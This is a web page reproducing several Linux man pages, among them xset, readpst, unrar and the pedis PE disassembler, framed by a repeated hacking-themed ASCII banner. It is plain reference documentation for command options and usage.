              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2135 - Linux cli command pnmflip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmflip and provides detailed information about the command pnmflip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmflip.

.

NAME 🖥️ pnmflip 🖥️

replaced by pamflip

DESCRIPTION

This program is part of Netpbm(1) .

pnmflip was replaced in Netpbm 10.13 (December 2002) by pamflip(1) .

pamflip is mostly backward compatible with pnmflip, but works on PAM images too.

One way pamflip is not backward compatible with pnmflip is that pnmflip lets you specify any number of basic flip options, whereas pamflip requires exactly one. (pamflip provides the -xform option for requesting multiple transformations, though). Because of this incompatibility, pnmflip still exists as a separate program, and all it does is translate its options to pamflip style and run pamflip.

You should not make any new use of pnmflip and if you modify an existing use, you should upgrade to pamflip. But note that if you write a program that might have to be used with very old Netpbm, pnmflip is the only way to do that.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmflip.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2136 - Linux cli command xset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xset and provides detailed information about the command xset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xset.

NAME 🖥️ xset 🖥️

user preference utility for X

SYNOPSIS

xset [-display display]
[-b] [b {on|off}] [b [volume [pitch [duration]]]]
[-bc] [bc]
[-c] [c {on|off}] [c [volume]]
[+dpms] [-dpms]
[dpms standby [ suspend [ off]]]
[dpms force {standby|suspend|off|on}]
[fp=pathlist] [-fp=pathlist] [+fp=pathlist] [fp-pathlist] [fp+pathlist]
[fp default] [fp rehash]
[-led [integer|named indicator]] [led [integer|named indicator]]
[led {on|off}]
[mouse [accel_mult[/accel_div] [threshold]]] [mouse default]
[p pixel color]
[-r [keycode]] [r [keycode]] [r {on|off}] [r rate delay [rate]]
[s [length [period]]] [s {blank|noblank}]
[s {expose|noexpose}] [s {on|off}] [s default] [s activate] [s reset]
[q]
[-version]

DESCRIPTION

This program is used to set various user preference options of the display.

OPTIONS

-display display
This option specifies the server to use; see X(7).

b
The b option controls bell volume, pitch and duration. This option accepts up to three numerical parameters, a preceding dash(-), or a ‘on/off’ flag. If no parameters are given, or the ‘on’ flag is used, the system defaults will be used. If the dash or ‘off’ are given, the bell will be turned off. If only one numerical parameter is given, the bell volume will be set to that value, as a percentage of its maximum. Likewise, the second numerical parameter specifies the bell pitch, in hertz, and the third numerical parameter specifies the duration in milliseconds. Note that not all hardware can vary the bell characteristics. The X server will set the characteristics of the bell as closely as it can to the user’s specifications.

bc
The bc option controls bug compatibility mode in the server, if possible; a preceding dash(-) disables the mode, otherwise the mode is enabled. Various pre-R4 clients pass illegal values in some protocol requests, and pre-R4 servers did not correctly generate errors in these cases. Such clients, when run against an R4 server, will terminate abnormally or otherwise fail to operate correctly. Bug compatibility mode explicitly reintroduces certain bugs into the X server, so that many such clients can still be run. This mode should be used with care; new application development should be done with this mode disabled. The server must support the MIT-SUNDRY-NONSTANDARD protocol extension in order for this option to work.

c
The c option controls key click. This option can take an optional value, a preceding dash(-), or an ‘on/off’ flag. If no parameter or the ‘on’ flag is given, the system defaults will be used. If the dash or ‘off’ flag is used, keyclick will be disabled. If a value from 0 to 100 is given, it is used to indicate volume, as a percentage of the maximum. The X server will set the volume to the nearest value that the hardware can support.

-dpms
The -dpms option disables Display Power Management Signaling (DPMS) features.

+dpms
The +dpms option enables Display Power Management Signaling (DPMS) features.

dpms flags…
The dpms option allows the Display Power Management Signaling (DPMS) parameters to be set. The option can take up to three numerical values, or the `force’ flag followed by a DPMS state. The `force’ flags forces the server to immediately switch to the DPMS state specified. The DPMS state can be one of `standby’, `suspend’, `off’, or `on’. When numerical values are given, they set the inactivity period (in units of seconds) before the three modes are activated. The first value given is for the `standby’ mode, the second is for the `suspend’ mode, and the third is for the `off’ mode. Setting these values implicitly enables the DPMS features. A value of zero disables a particular mode.

fp= path,…
The fp= sets the font path to the entries given in the path argument. The entries are interpreted by the server, not by the client. Typically they are directory names or font server names, but the interpretation is server-dependent.

fp default
The default argument causes the font path to be reset to the server’s default.

fp rehash
The rehash argument resets the font path to its current value, causing the server to reread the font databases in the current font path. This is generally only used when adding new fonts to a font directory (after running mkfontdir to recreate the font database).

-fp or fp-
The -fp and fp- options remove elements from the current font path. They must be followed by a comma-separated list of entries.

+fp or fp+
This +fp and fp+ options prepend and append elements to the current font path, respectively. They must be followed by a comma-separated list of entries.

led
The led option controls the keyboard LEDs. This controls the turning on or off of one or all of the LEDs. It accepts an optional integer, a preceding dash(-) or an ‘on/off’ flag. If no parameter or the ‘on’ flag is given, all LEDs are turned on. If a preceding dash or the flag ‘off’ is given, all LEDs are turned off. If a value between 1 and 32 is given, that LED will be turned on or off depending on the existence of a preceding dash. ``xset led 3’’ would turn led #3 on. ``xset -led 3’’ would turn it off. The particular LED values may refer to different LEDs on different hardware. If the X server supports the XKEYBOARD (XKB) extension, leds may be referenced by the XKB indicator name by specifying the `named’ keyword and the indicator name. For example, to turn on the Scroll Lock LED:

xset led named “Scroll Lock”

mouse
The m option controls the mouse parameters; it may be abbreviated to ’m’. Of course, it applies to most pointing devices, not just mice. The parameters for the pointing device are `acceleration’ and `threshold’. The acceleration can be specified as an integer, or as a simple fraction. Threshold is just an integer. The setting is applied to all connected pointing devices. xinput(1) should be used if you need device-specific settings.

By default the pointer (the on-screen representation of the pointing device) will go `acceleration’ times as fast when the device travels more than `threshold’ mickeys (i.e. would-be pixels) in 10 ms, including a small transition range. This way, the pointing device can be used for precise alignment when it is moved slowly, yet it can be set to travel across the screen in a flick of the wrist when desired. One or both parameters for the m option can be omitted, but if only one is given, it will be interpreted as the acceleration. If no parameters or the flag ‘default’ is used, the system defaults will be set.

If the `threshold’ parameter is provided and 0, the `acceleration’ parameter will be used in the exponent of a more natural and continuous formula, giving precise control for slow motion but big reach for fast motion, and a progressive transition for motions in between. Recommended `acceleration’ value in this case is 3/2 to 3, but not limited to that range.

In the X.org X Server 1.6 and above, the behaviour described so far is linked to the default profile. There are other profiles (i.e. functions determining pointer acceleration from device velocity) and additional settings, so the above description may not apply to non-default cases. In the X.org Server 1.7, these are available as input device properties (see xinput).

p
The p option controls pixel color values. The parameters are the color map entry number in decimal, and a color specification. The root background colors may be changed on some servers by altering the entries for BlackPixel and WhitePixel. Although these are often 0 and 1, they need not be. Also, a server may choose to allocate those colors privately, in which case an error will be generated. The map entry must not be a read-only color, or an error will result.

r
The r option controls the autorepeat. Invoking with “-r”, or “r off”, will disable autorepeat, whereas “r”, or “r on” will enable autorepeat. Following the “-r” or “r” option with an integer keycode between 0 and 255 will disable or enable autorepeat on that key respectively, but only if it makes sense for the particular keycode. Keycodes below 8 are not typically valid for this command. Example: “xset -r 10” will disable autorepeat for the “1” key on the top row of an IBM PC keyboard.

If the server supports the XFree86-Misc extension, or the XKB extension, then a parameter of ‘rate’ is accepted and should be followed by zero, one or two numeric values. The first specifies the delay before autorepeat starts and the second specifies the repeat rate. In the case that the server supports the XKB extension, the delay is the number of milliseconds before autorepeat starts, and the rate is the number of repeats per second. If the rate or delay is not given, it will be set to the default value.

s
The s option lets you set the screen saver parameters. This option accepts up to two numerical parameters, a ‘blank/noblank’ flag, an ’expose/noexpose’ flag, an ‘on/off’ flag, an ‘activate/reset’ flag, or the ‘default’ flag. If no parameters or the ‘default’ flag is used, the system will be set to its default screen saver characteristics. The ‘on/off’ flags simply turn the screen saver functions on or off. The ‘activate’ flag forces activation of screen saver even if the screen saver had been turned off. The ‘reset’ flag forces deactivation of screen saver if it is active. The ‘blank’ flag sets the preference to blank the video (if the hardware can do so) rather than display a background pattern, while ’noblank’ sets the preference to display a pattern rather than blank the video. The ’expose’ flag sets the preference to allow window exposures (the server can freely discard window contents), while ’noexpose’ sets the preference to disable screen saver unless the server can regenerate the screens without causing exposure events. The length and period parameters for the screen saver function determines how long the server must be inactive for screen saving to activate, and the period to change the background pattern to avoid burn in. The arguments are specified in seconds. If only one numerical parameter is given, it will be used for the length.

q
The q option gives you information on the current settings.

-version
The -version option prints the program version and exits without doing anything else.

These settings will be reset to default values when you log out.

Note that not all X implementations are guaranteed to honor all of these options.

SEE ALSO

X(7), Xserver(1), xmodmap(1), xrdb(1), xsetroot(1), xinput(1)

AUTHOR

Bob Scheifler, MIT Laboratory for Computer Science
David Krikorian, MIT Project Athena (X11 version)
XFree86-Misc support added by David Dawes and Joe Moss
Manpage updates added by Mike A. Harris <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2137 - Linux cli command gtk-builder-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-builder-tool and provides detailed information about the command gtk-builder-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-builder-tool.

NAME 🖥️ gtk-builder-tool 🖥️

builder-tool - GtkBuilder file utility

SYNOPSIS

gtk-builder-tool [COMMAND] [OPTION…] FILE

DESCRIPTION

gtk-builder-tool can perform various operations on GtkBuilder .ui files.

You should always test the modified .ui files produced by gtk-builder-tool before using them in production.

COMMANDS

The following commands are understood:

validate

Validates the .ui file and report errors to stderr.

simplify

Simplifies the .ui file by removing properties that are set to their default values and write the resulting XML to stdout, or back to the input file.

enumerate

Lists all the named objects that are created in the .ui file.

preview

Preview the .ui file. This command accepts options to specify the ID of an object and a .css file to use.

SIMPLIFY OPTIONS

The simplify command accepts the following options:

–replace

Write the content back to the .ui file instead of stdout.

PREVIEW OPTIONS

The preview command accepts the following options:

–id=ID

The ID of the object to preview. If not specified, gtk-builder-tool will choose a suitable object on its own.

–css=FILE

Load style information from the given .css file.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2138 - Linux cli command readpst

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readpst and provides detailed information about the command readpst, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readpst.

NAME 🖥️ readpst 🖥️

convert PST (MS Outlook Personal Folders) files to mbox and other formats

SYNOPSIS

readpst [-C default-charset] [-D] [-M] [-S] [-V] [-a attachment-extension-list] [-b] [-c format] [-d debug-file] [-e] [-h] [-j jobs] [-k] [-m] [-o output-directory] [-q] [-r] [-t output-type-codes] [-u] [-w] [-8] pstfile

DESCRIPTION

readpst is a program that can read an Outlook PST (Personal Folders) file and convert it into an mbox file, a format suitable for KMail, a recursive mbox structure, or separate emails.

OPTIONS

-C default-charset

Set the character set to be used for items with an unspecified character set.

-D

Include deleted items in the output.

-M

Output messages in MH (rfc822) format as separate files. This will create folders as named in the PST file, and will put each email together with any attachments into its own file. These files will be numbered from 1 to n with no leading zeros. This format has no from quoting.

-S

Output messages into separate files. This will create folders as named in the PST file, and will put each email in its own file. These files will be numbered from 1 to n with no leading zeros. Attachments will also be saved in the same folder as the email message. The attachments for message $m are saved as $m-$name where $name is (the original name of the attachment, or attach$n if the attachment had no name), where $n is another sequential index with no leading zeros. This format has no from quoting.

-V

Show program version and exit.

-a attachment-extension-list

Set the list of acceptable attachment extensions. Any attachment that does not have an extension on this list will be discarded. All attachments are acceptable if the list is empty, or this option is not specified.

-b

Do not save the attachments for the RTF format of the email body.

-c format

Set the Contact output mode. Use -cv for vcard format or -cl for an email list.

-d debug-file

Specify name of debug log file. The log file is now an ascii file, instead of the binary file used in previous versions.

-e

Same as the M option, but each output file will include an extension from (.eml, .ics, .vcf). This format has no from quoting.

-h

Show summary of options and exit.

-j jobs

Specifies the maximum number of parallel jobs. Specify 0 to suppress running parallel jobs. Folders may be processed in parallel. Output formats that place each mail message in a separate file (-M, -S, -e) may process the contents of individual folders in parallel.

-k

Changes the output format to KMail. This format uses mboxrd from quoting.

-m

Same as the e option, but write .msg files also

-o output-directory

Specifies the output directory. The directory must already exist, and is entered after the PST file is opened, but before any processing of files commences.

-q

Changes to silent mode. No feedback is printed to the screen, except for error messages.

-r

Changes the output format to Recursive. This will create folders as named in the PST file, and will put all emails in a file called “mbox” inside each folder. Appointments go into a file called “calendar”, address book entries go into a file called “contacts”, and journal entries go into a file called “journal”. These files are then compatible with all mbox-compatible email clients. This format uses mboxrd from quoting.

-t output-type-codes

Specifies the item types that are processed. The argument is a sequence of single letters from (e,a,j,c) for (email, appointment, journal, contact) types. The default is to process all item types.

-u

Sets Thunderbird mode, a submode of recursive mode. This causes two extra .type and .size meta files to be created. This format uses mboxrd from quoting.

-w

Overwrite any previous output files. Beware: When used with the -S switch, this will remove all files from the target folder before writing. This is to keep the count of emails and attachments correct.

-8

Output bodies in UTF-8, rather than original encoding, if a UTF-8 version is available.

FROM QUOTING

Output formats that place each mail message in a separate file (-M, -S, -e, -m) dont do any from quoting. Output formats that place multiple email messages in a single file (-k, -r, -u) now use mboxrd from quoting rules. If none of those switches are specified, the default output format uses mboxrd from quoting rules, since it produces multiple email messages in a single file. Earlier versions used mboxo from quoting rules for all output formats.

AUTHOR

This manual page was originally written by Dave Smith <[email protected]>, and updated by Joe Nahmias <[email protected]> for the Debian GNU/Linux system (but may be used by others). It was subsequently updated by Brad Hards <[email protected]>, and converted to xml format by Carl Byington <[email protected]>.

COPYRIGHT

Copyright (C) 2002 by David Smith <[email protected]>. XML version Copyright (C) 2008 by 510 Software Group <[email protected]>.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

You should have received a copy of the GNU General Public License along with this program; see the file COPYING. If not, please write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.

VERSION

0.6.76

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2139 - Linux cli command unrar-nonfree

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unrar-nonfree and provides detailed information about the command unrar-nonfree, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unrar-nonfree.

NAME 🖥️ unrar-nonfree 🖥️

extract files from rar archives

SYNOPSIS

unrar command [-switch …] archive"["file …] [@listfiles …] [path …] [path_to_extract/]

DESCRIPTION

This manual page documents briefly the unrar command.
This manual page was written for the Debian GNU/Linux distribution because the original program does not have a manual page.
Commands and options described here are as of unrar 6.0.

USAGE

archive
Archive file name in RAR or other supported format. If archive file uses RAR multiple volume format, specify only first volume file name as archive file name.

file …
File path name to extract. You can specify more path names at one time.

@listfiles …
If argument starts with “@”, unrar uses listfile as file path list file. This list file includes file path list to extract from archive file. You can use 2 or more list files at one time.
File list uses one line for one file path. And blank line is ignored.
This file is used to extract many file path names in one time that your shell can’t accept.

path_to_extract
If last argument is ended with “/”, unrar uses path_to_extract as file extraction target path.

COMMANDS

After the program name comes a command and then optional switches with dashes before them. A summary of commands is included below. For a complete description, run unrar without options.

e
Extract files to current directory.

l[t[a],b]
List archive content [technical[all], bare].

p
Print file to stdout.

t
Test archive files.

v[t[a],b]
Verbosely list archive [technical[all], bare].

x
Extract files with full path.

OPTIONS

NOTE: Every switch must be separated by a whitespace. You cannot put them together.

-
Stop switches scanning.

@[+]
Disable [enable] file lists.

-ad[1,2]
Alternate destination path

-ag[format]
Generate archive name using the current date.

-ai
Ignore file attributes.

-ap<path>
Set path inside archive.

-c-
Disable comments show.

-cfg-
Disable read configuration.

-cl
Convert names to lower case.

-cu
Convert names to upper case.

-dh
Open shared files.

-ep
Exclude paths from names.

-ep3
Expand paths to full name.

-f
Freshen files.

-id[c,d,n,p,q]
Display or disable messages.

-kb
Keep broken extracted files.

-ierr
Send all messages to stderr.

-inul
Disable all messages.

-n<file>
Additionally filter included files.

-n@
Read additional filter masks from stdin.

-n@<list>
Read additional filter masks from list file.

-o+
Overwrite existing files.

-o-
Do not overwrite existing files.

-ol[a]
Process symbolic links as the link [absolute paths].

-or
Rename files automatically.

-ow
Save or restore file owner and group.

-ppassword
Set password.

-p-
Do not query password.

-r
Recurse subdirectories.

-sc<chr>[obj]
Specify the character set.

-sl<size>
Process files with size less than specified.

-sm<size>
Process files with size more than specified.

-ta[mcao]<d>
Process files modified after <d> YYYYMMDDHHMMSS date.

-tb[mcao]<d>
Process files modified before <d> YYYYMMDDHHMMSS date.

-tn[mcao]<t>
Process files newer than <t> time.

-to[mcao]<t>
Process files older than <t> time.

-ts[m,c,a,p]
Save or restore time (modification, creation, access, preserve).

-u
Update files.

-v
List all volumes.

-ver[n]
File version control.

-vp
Pause before each volume.

-x<file>
Exclude specified file.

-x@<list>
Exclude files in specified list file.

-x@
Read file names to exclude from stdin.

-y
Assume Yes on all queries.

FILES

$HOME/.rarrc

/etc/.rarrc

/etc/rar/.rarrc

/usr/lib/.rarrc

/usr/local/lib/.rarrc

/usr/local/etc/.rarrc
UnRAR (and RAR) configuration file.

Syntax: (switches for all commands)
switches=<any RAR switches separated by spaces>

Syntax: (switches for specific command)
switches_<command>=<any RAR switches separated by spaces>

Example:
switches=-m5 -s
switches_a=-m5 -s
switches_x=-o+

AUTHORS

This manual page was written by Petr Cech <[email protected]> according to “unrar” for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2140 - Linux cli command pedis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pedis and provides detailed information about the command pedis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pedis.

NAME 🖥️ pedis 🖥️

disassemble PE sections and functions

SYNOPSIS

pedis [OPTIONS]… pefile

DESCRIPTION

pedis is a PE disassembler relyng on udis86 library. It can disassembly entire sections, functions or any file position you want. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

–att
Set AT&T assembly syntax (default: Intel).

-e, –entrypoint
Disassemble the entire entrypoint function.

-f, –format <text|csv|xml|html>
Change output format (default: text).

-m, –mode <16|32|64>
Disassembly mode (default: auto).

-i <number>
Number of instructions to disassemble.

-n <number>
Number of bytes to disassemble.

-o, –offset <offset>
Disassemble at specified offset, either in decimal or hexadecimal format (prefixed with 0x).

-r, –rva <rva>
Disassemble at specified RVA, either in decimal or hexadecimal format (prefixed with 0x).

-s, –section <name>
Disassemble en entire section given.

-V, –version
Show version.

–help
Show this help.

EXAMPLES

Disassemble RVA 0x4c4df from putty.exe:

$ pedis -r 0x4c4df putty.exe

Disassembly the entrypoint of a 64-bit PE32+ wordpad.exe:

$ pedis -m 64 –entrypoint putty.exe

Disassembly in 16-bits mode, starting from offset 0x40, 32 bytes of code from game.exe:

$ pedis -m 16 -o 0x40 -n 32 game.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2141 - Linux cli command x86_64-linux-gnu-elfedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-elfedit and provides detailed information about the command x86_64-linux-gnu-elfedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-elfedit.

NAME 🖥️ x86_64-linux-gnu-elfedit 🖥️

update ELF header and program property of ELF files

SYNOPSIS

elfedit [**–input-mach=machine] [–input-type=type] [–input-osabi=osabi] [–input-abiversion=**version] **–output-mach=**machine **–output-type=**type –output-osabi=osabi –output-abiversion=version –enable-x86-feature=feature –disable-x86-feature=feature [-v|–version] [-h|–help] elffile

DESCRIPTION

elfedit updates the ELF header and program property of ELF files which have the matching ELF machine and file types. The options control how and which fields in the ELF header and program property should be updated.

elffile… are the ELF files to be updated. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one of the –output-mach, –output-type, –output-osabi, –output-abiversion, –enable-x86-feature and –disable-x86-feature options must be given.

–input-mach=machine
Set the matching input ELF machine type to machine. If –input-mach isn’t specified, it will match any ELF machine types. The supported ELF machine types are, i386, IAMCU, L1OM, K1OM and x86-64.

–output-mach=machine
Change the ELF machine type in the ELF header to machine. The supported ELF machine types are the same as –input-mach.

–input-type=type
Set the matching input ELF file type to type. If –input-type isn’t specified, it will match any ELF file types. The supported ELF file types are, rel, exec and dyn.

–output-type=type
Change the ELF file type in the ELF header to type. The supported ELF types are the same as –input-type.

–input-osabi=osabi
Set the matching input ELF file OSABI to osabi. If –input-osabi isn’t specified, it will match any ELF OSABIs. The supported ELF OSABIs are, none, HPUX, NetBSD, GNU, Linux (alias for GNU), Solaris, AIX, Irix, FreeBSD, TRU64, Modesto, OpenBSD, OpenVMS, NSK, AROS and FenixOS.

–output-osabi=osabi
Change the ELF OSABI in the ELF header to osabi. The supported ELF OSABI are the same as –input-osabi.

–input-abiversion=version
Set the matching input ELF file ABIVERSION to version. version must be between 0 and 255. If –input-abiversion isn’t specified, it will match any ELF ABIVERSIONs.

–output-abiversion=version
Change the ELF ABIVERSION in the ELF header to version. version must be between 0 and 255.

–enable-x86-feature=feature
Set the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are, ibt, shstk, lam_u48 and lam_u57.

–disable-x86-feature=feature
Clear the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are the same as –enable-x86-feature. Note: –enable-x86-feature and –disable-x86-feature are available only on hosts with mmap support.

-v

–version

Display the version number of elfedit.

-h

–help

Display the command-line options understood by elfedit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

